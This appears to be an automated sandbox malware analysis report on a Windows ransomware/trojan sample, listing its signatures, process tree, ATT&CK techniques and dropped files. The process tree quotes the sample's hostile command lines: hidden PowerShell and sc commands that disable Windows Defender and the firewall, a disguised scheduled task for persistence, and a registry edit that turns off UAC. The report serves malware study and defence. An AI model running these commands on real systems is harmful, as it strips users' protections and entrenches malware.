Overview

overview

10

Static

static

10

fkffkf.exe

windows11-21h2-x64

10

fkffkf.exe

debian-9-armhf

fkffkf.exe

ubuntu-18.04-amd64

fkffkf.exe

ubuntu-24.04-amd64

Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    138s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260911-en
  • resource tags

    arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/10/2026, 17:43

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    fkffkf.exe
  • Size 16.2MB
  • Sample261017-warefsav5k
  • SHA256 6fa4c734f0dfe1e760b23cc43a79a8668a90b7226229998d8101f85c7c36b3e3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasiondiscoveryevasionexecutionpersistenceransomwarespywaretrojan

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • UAC bypass 3 TTPs 4 IoCs
    defense_evasiontrojan
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 2 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Disables cmd.exe use via registry modification 2 IoCs
    defense_evasion
  • Drops file in Drivers directory 7 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 34 IoCs
    persistence
  • Executes dropped EXE 3 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    defense_evasiontrojan
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

    defense_evasion
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs
    execution
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 15 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Control Panel 2 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies registry class 20 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 9 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs
  • System policy modification 1 TTPs 22 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\fkffkf.exe
    "C:\Users\Admin\AppData\Local\Temp\fkffkf.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of WriteProcessMemory
    PID:2452
    • C:\Windows\system32\drivers\etc\svchost32.exe
      "C:\Windows\system32\drivers\etc\svchost32.exe"
      2⤵
      • Modifies WinLogon for persistence
      • Modifies Windows Defender DisableAntiSpyware settings
      • Modifies Windows Defender Real-time Protection settings
      • UAC bypass
      • Disables RegEdit via registry modification
      • Disables cmd.exe use via registry modification
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Sets desktop wallpaper using registry
      • Reads the TCP/IP host and domain name from the registry
      • Modifies Control Panel
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:484
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f
        3⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:4416
        • C:\Windows\system32\schtasks.exe
          schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f
          4⤵
            PID:3980
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "C:\Windows\system32\drivers\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1644
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "C:\Windows\system32\drivers\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2784
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3308
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5232
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4408
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableIOAVProtection $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3896
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisablePrivacyMode $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1636
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -SignatureDisableUpdate $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2420
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WinDefend
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3392
          • C:\Windows\system32\sc.exe
            sc stop WinDefend
            4⤵
            • Launches sc.exe
            PID:4280
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4204
          • C:\Windows\system32\sc.exe
            sc config WinDefend start=disabled
            4⤵
            • Launches sc.exe
            PID:4856
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop SecurityHealthService
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1844
          • C:\Windows\system32\sc.exe
            sc stop SecurityHealthService
            4⤵
            • Launches sc.exe
            PID:2784
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config SecurityHealthService start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4764
          • C:\Windows\system32\sc.exe
            sc config SecurityHealthService start=disabled
            4⤵
            • Launches sc.exe
            PID:2024
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdFilter
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1896
          • C:\Windows\system32\sc.exe
            sc stop WdFilter
            4⤵
            • Launches sc.exe
            PID:1212
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdFilter start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2532
          • C:\Windows\system32\sc.exe
            sc config WdFilter start=disabled
            4⤵
            • Launches sc.exe
            PID:2344
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdNisDrv
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5440
          • C:\Windows\system32\sc.exe
            sc stop WdNisDrv
            4⤵
            • Launches sc.exe
            PID:2428
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdNisDrv start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1732
          • C:\Windows\system32\sc.exe
            sc config WdNisDrv start=disabled
            4⤵
            • Launches sc.exe
            PID:2988
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdNisSvc
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3420
          • C:\Windows\system32\sc.exe
            sc stop WdNisSvc
            4⤵
            • Launches sc.exe
            PID:5416
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdNisSvc start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5620
          • C:\Windows\system32\sc.exe
            sc config WdNisSvc start=disabled
            4⤵
            • Launches sc.exe
            PID:3924
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdBoot
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4684
          • C:\Windows\system32\sc.exe
            sc stop WdBoot
            4⤵
            • Launches sc.exe
            PID:1584
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdBoot start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1652
          • C:\Windows\system32\sc.exe
            sc config WdBoot start=disabled
            4⤵
            • Launches sc.exe
            PID:3444
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop MpsSvc
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3892
          • C:\Windows\system32\sc.exe
            sc stop MpsSvc
            4⤵
            • Launches sc.exe
            PID:3228
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config MpsSvc start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3196
          • C:\Windows\system32\sc.exe
            sc config MpsSvc start=disabled
            4⤵
            • Launches sc.exe
            PID:6084
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill.exe /im Explorer.exe /f
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1176
        • C:\Windows\SYSTEM32\wscript.exe
          wscript.exe "C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs" "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
          3⤵
          • Executes a VBScript file via the Windows Script Host.
          • Modifies registry class
          PID:1548
    • C:\Windows\explorer.exe
      explorer.exe ,"C:\Windows\system32\drivers\etc\svchost32.exe"
      1⤵
        PID:1836
      • C:\Windows\system32\drivers\etc\svchost32.exe
        C:\Windows\system32\drivers\etc\svchost32.exe
        1⤵
        • Executes dropped EXE
        PID:5524
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
        1⤵
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:2096
      • C:\Windows\system32\drivers\etc\svchost32.exe
        "C:\Windows\system32\drivers\etc\svchost32.exe"
        1⤵
        • Executes dropped EXE
        PID:6060
      • C:\Windows\system32\wscript.exe
        wscript.exe "C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs" "C:\Windows\system32\taskmgr.exe" /7
        1⤵
        • Executes a VBScript file via the Windows Script Host.
        • Modifies registry class
        PID:5712
      • C:\Windows\system32\wscript.exe
        wscript.exe "C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs" "C:\Windows\system32\taskmgr.exe" /7
        1⤵
        • Executes a VBScript file via the Windows Script Host.
        • Modifies registry class
        PID:3192
      • C:\Windows\explorer.exe
        explorer.exe
        1⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:1648
      • C:\Windows\system32\AUDIODG.EXE
        C:\Windows\system32\AUDIODG.EXE 0x00000000000004EC 0x00000000000004F0
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5688

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            3
            T1059

            PowerShell

            1
            T1059.001

            Visual Basic

            1
            T1059.005

            Windows Command Shell

            1
            T1059.003

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            System Services

            1
            T1569

            Service Execution

            1
            T1569.002

            Persistence

            Boot or Logon Autostart Execution

            3
            T1547

            Active Setup

            1
            T1547.014

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Winlogon Helper DLL

            1
            T1547.004

            Create or Modify System Process

            3
            T1543

            Windows Service

            3
            T1543.003

            Event Triggered Execution

            1
            T1546

            Image File Execution Options Injection

            1
            T1546.012

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Privilege Escalation

            Abuse Elevation Control Mechanism

            1
            T1548

            Bypass User Account Control

            1
            T1548.002

            Boot or Logon Autostart Execution

            3
            T1547

            Active Setup

            1
            T1547.014

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Winlogon Helper DLL

            1
            T1547.004

            Create or Modify System Process

            3
            T1543

            Windows Service

            3
            T1543.003

            Event Triggered Execution

            1
            T1546

            Image File Execution Options Injection

            1
            T1546.012

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Defense Evasion

            Abuse Elevation Control Mechanism

            1
            T1548

            Bypass User Account Control

            1
            T1548.002

            Impair Defenses

            4
            T1562

            Disable or Modify Tools

            3
            T1562.001

            Indicator Removal

            1
            T1070

            Clear Persistence

            1
            T1070.009

            Modify Registry

            9
            T1112

            Credential Access

            Discovery

            Peripheral Device Discovery

            1
            T1120

            Query Registry

            2
            T1012

            System Information Discovery

            3
            T1082

            System Network Configuration Discovery

            1
            T1016

            Lateral Movement

            Collection

            Command and Control

            Exfiltration

            Impact

            Defacement

            1
            T1491

            Service Stop

            1
            T1489

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            powershell.exe.log
            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 4KB
            • SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            svchost32.exe.log
            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost32.exe.log
            • Size 1KB
            • SHA256 58b9918225aee046894cb3c6263687bfe4b5a5b8dff7196d72687d0f3f735034
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 181860c654d72b4c36b77148a7413203de1fdc89c0b9ce5ef7e318ffd4a6a57e
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 c8db227184caec96da8b629fd802dca9a5a503da5ca605f58d985bb2e73e91f8
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 fb485201330a5ca14dc2d7a80ecf88b5c9e53d59929f9234c3ccf7548e2fe73f
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 f7cd31dcba7eaa70df174c083a18b13c173d64d52a07792a8f2be8d9518c65d0
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 fff272d5cd1c7f2124842caf4a275c570dccfcb809ddf4e2676bdc31cf1ef62e
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_nyp1fb1c.kdk.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nyp1fb1c.kdk.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            catcrypt_block.png
            • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_block.png
            • Size 52KB
            • SHA256 d50f96790201d3293f1627f56e04069b2834e5d543b3bf9f90a49df530574a46
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            catcrypt_last_show.txt
            • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_last_show.txt
            • Size 23B
            • SHA256 25124fd34deb1d08f87af65faa9fa928f29bbaf062ab8542c37570677aa4f9f8
            • MD5 SHA1 SHA512
            Submit Download

            catcrypt_show.vbs
            • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs
            • Size 940B
            • SHA256 d90ae5c72d612cf50824af73481a2f02330a44ae1e949ad7630040ad2317d0bd
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            TranscodedWallpaper
            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper
            • Size 59KB
            • SHA256 11bd0b134d11251cf307b73c74882cadc0d8192deccb227470bf5f9603e1ae2f
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ReceiveUse.mp3.pdr.tmp
            • Path C:\Users\Admin\Downloads\ReceiveUse.mp3.pdr.tmp
            • Size 358KB
            • SHA256 98a2f35d20f71314a7d94fe9ba4aa9abcfedf9f34b9cb74f26d2f58257850f95
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            UnpublishProtect.mp4.pdr.tmp
            • Path C:\Users\Admin\Downloads\UnpublishProtect.mp4.pdr.tmp
            • Size 413KB
            • SHA256 d86126f54b95df4ea659e227fcc6e38033804402fc629ad6c58886d0a8513a38
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            svchost32.exe
            • Path C:\Windows\System32\drivers\etc\svchost32.exe
            • Size 16.2MB
            • SHA256 6fa4c734f0dfe1e760b23cc43a79a8668a90b7226229998d8101f85c7c36b3e3
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            $boot_marker.tmp
            • Path C:\Windows\system32\drivers\etc\$boot_marker.tmp
            • Size 9B
            • SHA256 e09b020a5a198aece0fbb6b776fe62802d4cefd6dff4c268a0563beee4a733b4
            • MD5 SHA1 SHA512
            Submit Download

            $unlocker_id.ux-cryptobytes
            • Path C:\Windows\system32\drivers\etc\$unlocker_id.ux-cryptobytes
            • Size 6B
            • SHA256 b3ae4984a0af5192b593c5b405b87439533b22af5c455e1121edd4c8291e5b85
            • MD5 SHA1 SHA512
            Submit Download

            memory/484-19-0x000000001D5F0000-0x000000001D600000-memory.dmp
            Download

            memory/1636-108-0x000001F953850000-0x000001F953903000-memory.dmp
            Download

            memory/2452-0-0x0000000000350000-0x0000000001380000-memory.dmp
            Download

            memory/2452-1-0x000000001DA20000-0x000000001DA30000-memory.dmp
            Download

            memory/3308-38-0x000002161C710000-0x000002161C7C3000-memory.dmp
            Download

            memory/3308-48-0x000002161C980000-0x000002161C98A000-memory.dmp
            Download

            memory/3308-47-0x000002161C970000-0x000002161C976000-memory.dmp
            Download

            memory/3308-46-0x000002161C940000-0x000002161C948000-memory.dmp
            Download

            memory/3308-45-0x000002161C990000-0x000002161C9AA000-memory.dmp
            Download

            memory/3308-44-0x000002161C930000-0x000002161C93A000-memory.dmp
            Download

            memory/3308-43-0x000002161C950000-0x000002161C96C000-memory.dmp
            Download

            memory/3308-40-0x000002161C7D0000-0x000002161C7DA000-memory.dmp
            Download

            memory/3308-37-0x000002161C6F0000-0x000002161C70C000-memory.dmp
            Download

            memory/3308-29-0x000002161C440000-0x000002161C462000-memory.dmp
            Download

            memory/5232-65-0x00000204CB260000-0x00000204CB313000-memory.dmp
            Download